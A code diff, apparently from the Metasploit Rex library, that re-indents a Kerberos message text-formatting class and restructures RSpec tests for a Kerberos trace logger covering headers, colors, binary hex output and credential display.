diff --git a/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb b/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb
index e307be4eb2ae0..f62f04b8fcce5 100644
--- a/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb
+++ b/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb
@@ -1,98 +1,97 @@
 # -*- coding: binary -*-
 
 module Rex
-module Proto
-module Kerberos
+  module Proto
+    module Kerberos
+      # Presenter for formatting Kerberos data structures as human-readable text
+      class KerberosReadableTextPresenter
+        READABLE_TEXT_LABELS = {
+          'pvno' => 'Protocol Version',
+          'msg_type' => 'Message Type',
+          'pa_data' => 'Pre-Authentication Data',
+          'req_body' => 'Request Body',
+          'crealm' => 'Client Realm',
+          'cname' => 'Client Name',
+          'realm' => 'Realm',
+          'sname' => 'Server Name',
+          'enc_part' => 'Encrypted Part',
+          'etype' => 'Encryption Type',
+          'name_type' => 'Name Type',
+          'name_string' => 'Name String',
+          'error_code' => 'Error Code',
+          'e_data' => 'Error Data',
+          'etext' => 'Error Text',
+          'stime' => 'Server Time',
+          'ctime' => 'Client Time',
+          'susec' => 'Server Microseconds',
+          'cusec' => 'Client Microseconds',
+          'options' => 'KDC Options',
+          'ticket' => 'Ticket',
+          'tkt_vno' => 'Ticket Version Number',
+          'kvno' => 'Key Version Number',
+          'flags' => 'Flags'
+        }.freeze
 
-  class KerberosReadableTextPresenter
-    READABLE_TEXT_LABELS = {
-      'pvno' => 'Protocol Version',
-      'msg_type' => 'Message Type',
-      'pa_data' => 'Pre-Authentication Data',
-      'req_body' => 'Request Body',
-      'crealm' => 'Client Realm',
-      'cname' => 'Client Name',
-      'realm' => 'Realm',
-      'sname' => 'Server Name',
-      'enc_part' => 'Encrypted Part',
-      'etype' => 'Encryption Type',
-      'name_type' => 'Name Type',
-      'name_string' => 'Name String',
-      'error_code' => 'Error Code',
-      'e_data' => 'Error Data',
-      'etext' => 'Error Text',
-      'stime' => 'Server Time',
-      'ctime' => 'Client Time',
-      'susec' => 'Server Microseconds',
-      'cusec' => 'Client Microseconds',
-      'options' => 'KDC Options',
-      'ticket' => 'Ticket',
-      'tkt_vno' => 'Ticket Version Number',
-      'kvno' => 'Key Version Number',
-      'flags' => 'Flags'
-    }.freeze
+        def present(serialized_message)
+          lines = []
+          case serialized_message
+          when Hash
+            append_hash(lines, serialized_message, indent: 0)
+          when Array
+            append_array(lines, serialized_message, indent: 0)
+          else
+            lines << serialized_message.to_s
+          end
+          lines.join("\n")
+        end
 
-    def present(serialized_message)
-      lines = []
-      case serialized_message
-      when Hash
-        append_hash(lines, serialized_message, indent: 0)
-      when Array
-        append_array(lines, serialized_message, indent: 0)
-      else
-        lines << serialized_message.to_s
-      end
-      lines.join("\n")
-    end
+        private
 
-    private
+        def append_hash(lines, value, indent:)
+          value.each do |key, entry|
+            append_field(lines, key, entry, indent: indent)
+          end
+        end
 
-    def append_hash(lines, value, indent:)
-      value.each do |key, entry|
-        append_field(lines, key, entry, indent: indent)
-      end
-    end
+        def append_field(lines, key, value, indent:)
+          label = readable_text_label(key)
+          spacing = ' ' * indent
+          case value
+          when Hash
+            lines << "#{spacing}#{label}:"
+            append_hash(lines, value, indent: indent + 2)
+          when Array
+            if value.empty?
+              lines << "#{spacing}#{label}: []"
+            else
+              lines << "#{spacing}#{label}:"
+              append_array(lines, value, indent: indent + 2)
+            end
+          else
+            lines << "#{spacing}#{label}: #{value}"
+          end
+        end
 
-    def append_field(lines, key, value, indent:)
-      label = readable_text_label(key)
-      spacing = ' ' * indent
-      case value
-      when Hash
-        lines << "#{spacing}#{label}:"
-        append_hash(lines, value, indent: indent + 2)
-      when Array
-        if value.empty?
-          lines << "#{spacing}#{label}: []"
-        else
-          lines << "#{spacing}#{label}:"
-          append_array(lines, value, indent: indent + 2)
+        def append_array(lines, value, indent:)
+          spacing = ' ' * indent
+          value.each_with_index do |entry, index|
+            case entry
+            when Hash
+              lines << "#{spacing}Entry[#{index}]:"
+              append_hash(lines, entry, indent: indent + 2)
+            when Array
+              lines << "#{spacing}Entry[#{index}]:"
+              append_array(lines, entry, indent: indent + 2)
+            else
+              lines << "#{spacing}- #{entry}"
+            end
+          end
         end
-      else
-        lines << "#{spacing}#{label}: #{value}"
-      end
-    end
 
-    def append_array(lines, value, indent:)
-      spacing = ' ' * indent
-      value.each_with_index do |entry, index|
-        case entry
-        when Hash
-          lines << "#{spacing}Entry[#{index}]:"
-          append_hash(lines, entry, indent: indent + 2)
-        when Array
-          lines << "#{spacing}Entry[#{index}]:"
-          append_array(lines, entry, indent: indent + 2)
-        else
-          lines << "#{spacing}- #{entry}"
+        def readable_text_label(key)
+          READABLE_TEXT_LABELS[key.to_s] || key.to_s.split('_').map(&:capitalize).join(' ')
         end
       end
     end
-
-    def readable_text_label(key)
-      READABLE_TEXT_LABELS[key.to_s] || key.to_s.split('_').map(&:capitalize).join(' ')
-    end
   end
-
-end
-end
 end
diff --git a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
index 28e8ad7068495..0169c7176f43a 100644
--- a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
+++ b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
@@ -1,218 +1,145 @@
 # -*- coding: binary -*-
+# frozen_string_literal: true
+
+# rubocop:disable Metrics/BlockLength
 
-require 'set'
 require 'spec_helper'
+require 'set'
 
 RSpec.describe Rex::Proto::Kerberos::KerberosLoggerSubscriber do
   include_context 'Msf::UIDriver'
 
+  # -- Shared doubles ---------------------------------------------------------
+
   subject(:subscriber) { described_class.new(logger: logger) }
 
   let(:trace_enabled) { true }
+
   let(:trace_colors) { nil }
+
   let(:mock_datastore) do
     {
       'KerberosTicketTrace' => trace_enabled,
       'KerberosTicketTraceColors' => trace_colors
     }
   end
+
   let(:logger) { instance_double(Msf::Exploit, datastore: mock_datastore) }
+
   let(:output_text) { @output&.join("\n") }
 
-  describe '#initialize' do
-    subject(:build_subscriber) { described_class.new(logger: logger) }
+  let(:request_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ) }
 
-    context 'when logger responds to print_line and datastore' do
-      let(:logger) { double('logger', print_line: nil, datastore: {}) }
+  let(:response_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP) }
 
-      it 'initializes successfully' do
-        expect { build_subscriber }.not_to raise_error
-      end
+  # -- #initialize ------------------------------------------------------------
+
+  describe '#initialize' do
+    it 'initializes when the logger supports print_line and datastore' do
+      logger = double('logger', print_line: nil, datastore: {})
+
+      expect { described_class.new(logger: logger) }.not_to raise_error
     end
 
-    context 'when logger does not respond to print_line' do
-      let(:logger) { double('logger', datastore: {}) }
+    it 'raises when the logger does not support print_line' do
+      logger = double('logger', datastore: {})
 
-      it 'raises an incompatible logger error' do
-        expect { build_subscriber }.to raise_error(RuntimeError, 'Incompatible logger')
-      end
+      expect { described_class.new(logger: logger) }.to raise_error(RuntimeError, 'Incompatible logger')
     end
 
-    context 'when logger does not respond to datastore' do
-      let(:logger) { double('logger', print_line: nil) }
+    it 'raises when the logger does not support datastore' do
+      logger = double('logger', print_line: nil)
 
-      it 'raises an incompatible logger error' do
-        expect { build_subscriber }.to raise_error(RuntimeError, 'Incompatible logger')
-      end
+      expect { described_class.new(logger: logger) }.to raise_error(RuntimeError, 'Incompatible logger')
     end
   end
 
+  # -- #on_request ------------------------------------------------------------
+
   describe '#on_request' do
     subject(:log_request) { subscriber.on_request(request_message) }
 
-    let(:request_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ) }
-
     before do
       capture_logging(logger)
     end
 
-    context 'when KerberosTicketTrace is enabled with default colors' do
-      let(:expected_output) do
+    it 'prints a colored request header and readable text payload' do
+      log_request
+
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'AS-REQ',
           color_prefix: '%bld%red',
           body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REQ, msg_name: 'AS-REQ')
         )
-      end
+      )
+    end
 
-      it 'prints a colored request header and readable text payload' do
-        log_request
+    it 'prints an error placeholder when the readable text presenter raises' do
+      allow(subscriber).to receive(:readable_text_presenter).and_raise(RuntimeError, 'boom')
 
-        expect(output_text).to eq(expected_output)
-      end
-    end
+      log_request
 
-    context 'when the readable text presenter raises an error' do
-      let(:expected_output) do
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'AS-REQ',
           color_prefix: '%bld%red',
           body: 'Kerberos trace rendering error: RuntimeError: boom'
         )
-      end
-
-      before do
-        allow(subscriber).to receive(:readable_text_presenter).and_raise(RuntimeError, 'boom')
-      end
-
-      it 'prints an error placeholder without interrupting the flow' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTrace is false' do
-      let(:trace_enabled) { false }
-
-      it 'does not print anything' do
-        log_request
-
-        expect(output_text).to be_nil
-      end
+      )
     end
 
-    context 'when KerberosTicketTrace is nil' do
-      let(:trace_enabled) { nil }
-
-      it 'does not print anything' do
-        log_request
-
-        expect(output_text).to be_nil
-      end
-    end
+    it 'prints UNKNOWN with the numeric request msg_type' do
+      subscriber.on_request(build_kerberos_message(msg_type: 999))
 
-    context 'when request msg_type is unknown' do
-      let(:request_message) { build_kerberos_message(msg_type: 999) }
-      let(:expected_output) do
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'UNKNOWN (999)',
           color_prefix: '%bld%red',
           body: expected_basic_body(msg_type: 999, msg_name: 'UNKNOWN')
         )
-      end
-
-      it 'prints UNKNOWN with the numeric msg_type' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    context 'when request object does not expose attributes' do
-      let(:request_message) { 'raw-payload' }
-      let(:expected_output) do
+    it 'falls back to to_s formatting when the request does not expose attributes' do
+      subscriber.on_request('raw-payload')
+
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'UNKNOWN',
           color_prefix: '%bld%red',
           body: 'raw-payload'
         )
-      end
-
-      it 'falls back to to_s formatting' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    {
-      'red/blu' => '%bld%red',
-      'yel/' => '%bld%yel',
-      '/grn' => '',
-      'blu' => '%bld%blu',
-      '/' => '',
-      '   ' => '%bld%red'
-    }.each do |configured_colors, expected_prefix|
-      context "when KerberosTicketTraceColors is set to #{configured_colors.inspect}" do
-        let(:trace_colors) { configured_colors }
-        let(:expected_output) do
-          expected_trace_output(
-            direction: 'Request',
-            message_name: 'AS-REQ',
-            color_prefix: expected_prefix,
-            body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REQ, msg_name: 'AS-REQ')
-          )
-        end
-
-        it 'uses the expected request color prefix' do
-          log_request
+    it 'renders nil request payloads as null' do
+      subscriber.on_request(nil)
 
-          expect(output_text).to eq(expected_output)
-        end
-      end
+      expect(output_text).to eq(
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'UNKNOWN',
+          color_prefix: '%bld%red',
+          body: 'null'
+        )
+      )
     end
 
-    {
-      Rex::Proto::Kerberos::Model::AS_REP => 'AS-REP',
-      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
-      Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
-      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
-      Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
-      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
-    }.each do |msg_type, msg_name|
-      context "when request msg_type is #{msg_name}" do
-        let(:request_message) { build_kerberos_message(msg_type: msg_type) }
-        let(:expected_output) do
-          expected_trace_output(
-            direction: 'Request',
-            message_name: msg_name,
-            color_prefix: '%bld%red',
-            body: expected_basic_body(msg_type: msg_type, msg_name: msg_name)
-          )
-        end
-
-        it 'maps message type to the expected label' do
-          log_request
+    it 'prints binary string fields as tagged hex bytes' do
+      binary_hex = '00' * 40
+      request = build_kerberos_message(
+        msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
+        fields: { ticket: ("\x00".b * 40) }
+      )
 
-          expect(output_text).to eq(expected_output)
-        end
-      end
-    end
+      subscriber.on_request(request)
 
-    context 'when serializing a binary string field' do
-      let(:binary_hex) { '00' * 40 }
-      let(:request_message) do
-        build_kerberos_message(
-          msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
-          fields: { ticket: ("\x00".b * 40) }
-        )
-      end
-      let(:expected_output) do
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'AS-REQ',
@@ -224,45 +151,36 @@
             Ticket: [binary 40 bytes: #{binary_hex}]
           EOF
         )
-      end
+      )
+    end
 
-      it 'prints binary data as tagged hex bytes' do
-        log_request
+    it 'normalizes time, symbols, flags, sets and error code objects' do
+      error_code = double(
+        'error_code',
+        name: 'KRB_AP_ERR_MODIFIED',
+        value: 41,
+        description: 'Message stream modified'
+      )
+      request_time = Time.utc(2026, 3, 7, 12, 0, 0)
+      kdc_options = Rex::Proto::Kerberos::Model::KdcOptionFlags.from_flags([
+        Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE,
+        Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE
+      ])
+      request = build_kerberos_message(
+        msg_type: Rex::Proto::Kerberos::Model::KRB_ERROR,
+        fields: {
+          stime: request_time,
+          tags: %i[ap error],
+          metadata: { source: :kdc },
+          error_code: error_code,
+          options: kdc_options,
+          etype_set: Set.new([18, 17])
+        }
+      )
 
-        expect(output_text).to eq(expected_output)
-      end
-    end
+      subscriber.on_request(request)
 
-    context 'when serializing structured scalar values' do
-      let(:error_code) do
-        double(
-          'error_code',
-          name: 'KRB_AP_ERR_MODIFIED',
-          value: 41,
-          description: 'Message stream modified'
-        )
-      end
-      let(:request_time) { Time.utc(2026, 3, 7, 12, 0, 0) }
-      let(:kdc_options) do
-        Rex::Proto::Kerberos::Model::KdcOptionFlags.from_flags([
-          Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE,
-          Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE
-        ])
-      end
-      let(:request_message) do
-        build_kerberos_message(
-          msg_type: Rex::Proto::Kerberos::Model::KRB_ERROR,
-          fields: {
-            stime: request_time,
-            tags: %i[ap error],
-            metadata: { source: :kdc },
-            error_code: error_code,
-            options: kdc_options,
-            etype_set: Set.new([18, 17])
-          }
-        )
-      end
-      let(:expected_output) do
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'KRB-ERROR',
@@ -291,38 +209,31 @@
               - 17
           EOF
         )
-      end
-
-      it 'normalizes time, symbols, flags, sets and error code objects' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    context 'when serializing nested Kerberos model objects' do
-      let(:ticket) do
-        Rex::Proto::Kerberos::Model::Ticket.new(
-          tkt_vno: 5,
-          realm: 'EXAMPLE.LOCAL',
-          sname: Rex::Proto::Kerberos::Model::PrincipalName.new(
-            name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
-            name_string: %w[krbtgt EXAMPLE.LOCAL]
-          ),
-          enc_part: Rex::Proto::Kerberos::Model::EncryptedData.new(
-            etype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
-            kvno: 2,
-            cipher: "\x01\x02\x03".b
-          )
+    it 'recursively serializes nested Kerberos model attributes' do
+      ticket = Rex::Proto::Kerberos::Model::Ticket.new(
+        tkt_vno: 5,
+        realm: 'EXAMPLE.LOCAL',
+        sname: Rex::Proto::Kerberos::Model::PrincipalName.new(
+          name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
+          name_string: %w[krbtgt EXAMPLE.LOCAL]
+        ),
+        enc_part: Rex::Proto::Kerberos::Model::EncryptedData.new(
+          etype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
+          kvno: 2,
+          cipher: "\x01\x02\x03".b
         )
-      end
-      let(:request_message) do
-        build_kerberos_message(
-          msg_type: Rex::Proto::Kerberos::Model::AS_REP,
-          fields: { ticket: ticket }
-        )
-      end
-      let(:expected_output) do
+      )
+      request = build_kerberos_message(
+        msg_type: Rex::Proto::Kerberos::Model::AS_REP,
+        fields: { ticket: ticket }
+      )
+
+      subscriber.on_request(request)
+
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'AS-REP',
@@ -345,37 +256,32 @@
                 Cipher: [binary 3 bytes: 010203]
           EOF
         )
-      end
-
-      it 'recursively serializes nested model attributes' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    context 'when serializing PA-DATA types and etype arrays' do
-      let(:request_message) do
-        build_kerberos_message(
-          msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
-          fields: {
-            pa_data: [
-              Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(
-                type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_REQUEST,
-                value: "\x30\x05\xA0\x03\x01\x01\xFF".b
-              )
-            ],
-            req_body: Rex::Proto::Kerberos::Model::KdcRequestBody.new(
-              etype: [
-                Rex::Proto::Kerberos::Crypto::Encryption::AES256,
-                Rex::Proto::Kerberos::Crypto::Encryption::AES128,
-                Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
-              ]
+    it 'renders key enum values in a readable value+name format' do
+      request = build_kerberos_message(
+        msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
+        fields: {
+          pa_data: [
+            Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(
+              type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_REQUEST,
+              value: "\x30\x05\xA0\x03\x01\x01\xFF".b
             )
-          }
-        )
-      end
-      let(:expected_output) do
+          ],
+          req_body: Rex::Proto::Kerberos::Model::KdcRequestBody.new(
+            etype: [
+              Rex::Proto::Kerberos::Crypto::Encryption::AES256,
+              Rex::Proto::Kerberos::Crypto::Encryption::AES128,
+              Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
+            ]
+          )
+        }
+      )
+
+      subscriber.on_request(request)
+
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'AS-REQ',
@@ -395,30 +301,25 @@
                 - #{Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC} (RC4_HMAC)
           EOF
         )
-      end
-
-      it 'renders key enum values in a readable value+name format' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    context 'when serializing unknown enum values in mapped fields' do
-      let(:request_message) do
-        build_kerberos_message(
-          msg_type: 12_345,
-          fields: {
-            req_body: Rex::Proto::Kerberos::Model::KdcRequestBody.new(
-              cname: Rex::Proto::Kerberos::Model::PrincipalName.new(
-                name_type: 54_321,
-                name_string: ['user']
-              )
+    it 'uses UNKNOWN labels for unmapped enum values' do
+      request = build_kerberos_message(
+        msg_type: 12_345,
+        fields: {
+          req_body: Rex::Proto::Kerberos::Model::KdcRequestBody.new(
+            cname: Rex::Proto::Kerberos::Model::PrincipalName.new(
+              name_type: 54_321,
+              name_string: ['user']
             )
-          }
-        )
-      end
-      let(:expected_output) do
+          )
+        }
+      )
+
+      subscriber.on_request(request)
+
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Request',
           message_name: 'UNKNOWN (12345)',
@@ -434,113 +335,160 @@
                   - user
           EOF
         )
+      )
+    end
+
+    context 'when KerberosTicketTrace is false' do
+      let(:trace_enabled) { false }
+
+      it 'does not print anything' do
+        log_request
+
+        expect(output_text).to be_nil
       end
+    end
+
+    context 'when KerberosTicketTrace is nil' do
+      let(:trace_enabled) { nil }
 
-      it 'uses UNKNOWN labels for unmapped enum values' do
+      it 'does not print anything' do
         log_request
 
-        expect(output_text).to eq(expected_output)
+        expect(output_text).to be_nil
+      end
+    end
+
+    {
+      'red/blu' => '%bld%red',
+      'yel/' => '%bld%yel',
+      '/grn' => '',
+      'blu' => '%bld%blu',
+      '/' => '',
+      '   ' => '%bld%red'
+    }.each do |configured_colors, expected_prefix|
+      context "when KerberosTicketTraceColors is set to #{configured_colors.inspect}" do
+        let(:trace_colors) { configured_colors }
+
+        it 'uses the expected request color prefix' do
+          log_request
+
+          expect(output_text).to eq(
+            expected_trace_output(
+              direction: 'Request',
+              message_name: 'AS-REQ',
+              color_prefix: expected_prefix,
+              body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REQ, msg_name: 'AS-REQ')
+            )
+          )
+        end
+      end
+    end
+
+    {
+      Rex::Proto::Kerberos::Model::AS_REP => 'AS-REP',
+      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
+      Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
+      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
+      Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
+      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
+    }.each do |msg_type, msg_name|
+      context "when request msg_type is #{msg_name}" do
+        let(:request_message) { build_kerberos_message(msg_type: msg_type) }
+
+        it 'maps message type to the expected label' do
+          log_request
+
+          expect(output_text).to eq(
+            expected_trace_output(
+              direction: 'Request',
+              message_name: msg_name,
+              color_prefix: '%bld%red',
+              body: expected_basic_body(msg_type: msg_type, msg_name: msg_name)
+            )
+          )
+        end
       end
     end
   end
 
+  # -- #on_response -----------------------------------------------------------
+
   describe '#on_response' do
     subject(:log_response) { subscriber.on_response(response_message) }
 
-    let(:response_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP) }
-
     before do
       capture_logging(logger)
     end
 
-    context 'when KerberosTicketTrace is enabled with default colors' do
-      let(:expected_output) do
+    it 'prints a colored response header and readable text payload' do
+      log_response
+
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Response',
           message_name: 'AS-REP',
           color_prefix: '%bld%blu',
           body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REP, msg_name: 'AS-REP')
         )
-      end
-
-      it 'prints a colored response header and readable text payload' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    context 'when response is nil' do
-      let(:response_message) { nil }
-      let(:expected_output) do
+    it 'prints a no-response message when the response is nil' do
+      subscriber.on_response(nil)
+
+      expect(output_text).to eq(
         <<~EOF.rstrip
           ####################
           # Kerberos Response: UNKNOWN
           ####################
           No response received
         EOF
-      end
-
-      it 'prints a no-response message' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTrace is false' do
-      let(:trace_enabled) { false }
-
-      it 'does not print anything' do
-        log_response
-
-        expect(output_text).to be_nil
-      end
+      )
     end
 
-    context 'when KerberosTicketTrace is nil' do
-      let(:trace_enabled) { nil }
-
-      it 'does not print anything' do
-        log_response
-
-        expect(output_text).to be_nil
-      end
-    end
+    it 'prints UNKNOWN with the numeric response msg_type' do
+      subscriber.on_response(build_kerberos_message(msg_type: 31_337))
 
-    context 'when response msg_type is unknown' do
-      let(:response_message) { build_kerberos_message(msg_type: 31_337) }
-      let(:expected_output) do
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Response',
           message_name: 'UNKNOWN (31337)',
           color_prefix: '%bld%blu',
           body: expected_basic_body(msg_type: 31_337, msg_name: 'UNKNOWN')
         )
-      end
-
-      it 'prints UNKNOWN with the numeric msg_type' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    context 'when response object does not expose attributes' do
-      let(:response_message) { :raw_payload }
-      let(:expected_output) do
+    it 'falls back to to_s formatting when the response does not expose attributes' do
+      subscriber.on_response(:raw_payload)
+
+      expect(output_text).to eq(
         expected_trace_output(
           direction: 'Response',
           message_name: 'UNKNOWN',
           color_prefix: '%bld%blu',
           body: 'raw_payload'
         )
+      )
+    end
+
+    context 'when KerberosTicketTrace is false' do
+      let(:trace_enabled) { false }
+
+      it 'does not print anything' do
+        log_response
+
+        expect(output_text).to be_nil
       end
+    end
+
+    context 'when KerberosTicketTrace is nil' do
+      let(:trace_enabled) { nil }
 
-      it 'falls back to to_s formatting' do
+      it 'does not print anything' do
         log_response
 
-        expect(output_text).to eq(expected_output)
+        expect(output_text).to be_nil
       end
     end
 
@@ -553,19 +501,18 @@
     }.each do |configured_colors, expected_prefix|
       context "when KerberosTicketTraceColors is set to #{configured_colors.inspect}" do
         let(:trace_colors) { configured_colors }
-        let(:expected_output) do
-          expected_trace_output(
-            direction: 'Response',
-            message_name: 'AS-REP',
-            color_prefix: expected_prefix,
-            body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REP, msg_name: 'AS-REP')
-          )
-        end
 
         it 'uses the expected response color prefix' do
           log_response
 
-          expect(output_text).to eq(expected_output)
+          expect(output_text).to eq(
+            expected_trace_output(
+              direction: 'Response',
+              message_name: 'AS-REP',
+              color_prefix: expected_prefix,
+              body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REP, msg_name: 'AS-REP')
+            )
+          )
         end
       end
     end
@@ -580,30 +527,34 @@
     }.each do |msg_type, msg_name|
       context "when response msg_type is #{msg_name}" do
         let(:response_message) { build_kerberos_message(msg_type: msg_type) }
-        let(:expected_output) do
-          expected_trace_output(
-            direction: 'Response',
-            message_name: msg_name,
-            color_prefix: '%bld%blu',
-            body: expected_basic_body(msg_type: msg_type, msg_name: msg_name)
-          )
-        end
 
         it 'maps message type to the expected label' do
           log_response
 
-          expect(output_text).to eq(expected_output)
+          expect(output_text).to eq(
+            expected_trace_output(
+              direction: 'Response',
+              message_name: msg_name,
+              color_prefix: '%bld%blu',
+              body: expected_basic_body(msg_type: msg_type, msg_name: msg_name)
+            )
+          )
         end
       end
     end
   end
 
+  # -- #on_credential ---------------------------------------------------------
+
   describe '#on_credential' do
     subject(:log_credential) { subscriber.on_credential(credential_to_log, source: source) }
 
     let(:credential) { double('credential') }
+
     let(:credential_to_log) { credential }
+
     let(:source) { 'TGS' }
+
     let(:presented_credential) do
       <<~EOF.rstrip
         Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
@@ -612,6 +563,7 @@
         Key: deadbeef
       EOF
     end
+
     let(:presenter) do
       instance_double(
         Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter,
@@ -624,8 +576,10 @@
       allow(Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter).to receive(:new).with(nil).and_return(presenter)
     end
 
-    context 'when trace is enabled and credential is present' do
-      let(:expected_output) do
+    it 'prints presenter output under the credential header' do
+      log_credential
+
+      expect(output_text).to eq(
         <<~EOF.rstrip
           ####################
           # Kerberos Credential: TGS
@@ -637,18 +591,13 @@
               Ticket etype: 18 (AES256)
               Key: deadbeef
         EOF
-      end
-
-      it 'prints presenter output under the credential header' do
-        log_credential
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    context 'when source is nil' do
-      let(:source) { nil }
-      let(:expected_output) do
+    it 'omits the source suffix from the header when source is nil' do
+      subscriber.on_credential(credential, source: nil)
+
+      expect(output_text).to eq(
         <<~EOF.rstrip
           ####################
           # Kerberos Credential
@@ -660,23 +609,13 @@
               Ticket etype: 18 (AES256)
               Key: deadbeef
         EOF
-      end
-
-      it 'omits the source suffix from the header' do
-        log_credential
-
-        expect(output_text).to eq(expected_output)
-      end
+      )
     end
 
-    context 'when credential is nil' do
-      let(:credential_to_log) { nil }
+    it 'does not print anything when credential is nil' do
+      subscriber.on_credential(nil, source: source)
 
-      it 'does not print anything' do
-        log_credential
-
-        expect(output_text).to be_nil
-      end
+      expect(output_text).to be_nil
     end
 
     context 'when KerberosTicketTrace is false' do
@@ -689,16 +628,8 @@
       end
     end
 
-    context 'when presenter raises an error' do
+    context 'when the credential presenter raises an error' do
       let(:presenter) { instance_double(Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter) }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Credential: TGS
-          ####################
-          Credential presenter error: RuntimeError: boom
-        EOF
-      end
 
       before do
         allow(presenter).to receive(:present_cred).with(credential).and_raise(RuntimeError, 'boom')
@@ -707,7 +638,14 @@
       it 'prints the presenter error message' do
         log_credential
 
-        expect(output_text).to eq(expected_output)
+        expect(output_text).to eq(
+          <<~EOF.rstrip
+            ####################
+            # Kerberos Credential: TGS
+            ####################
+            Credential presenter error: RuntimeError: boom
+          EOF
+        )
       end
     end
   end
@@ -743,3 +681,5 @@ def build_kerberos_message(msg_type:, fields: {})
     )
   end
 end
+
+# rubocop:enable Metrics/BlockLength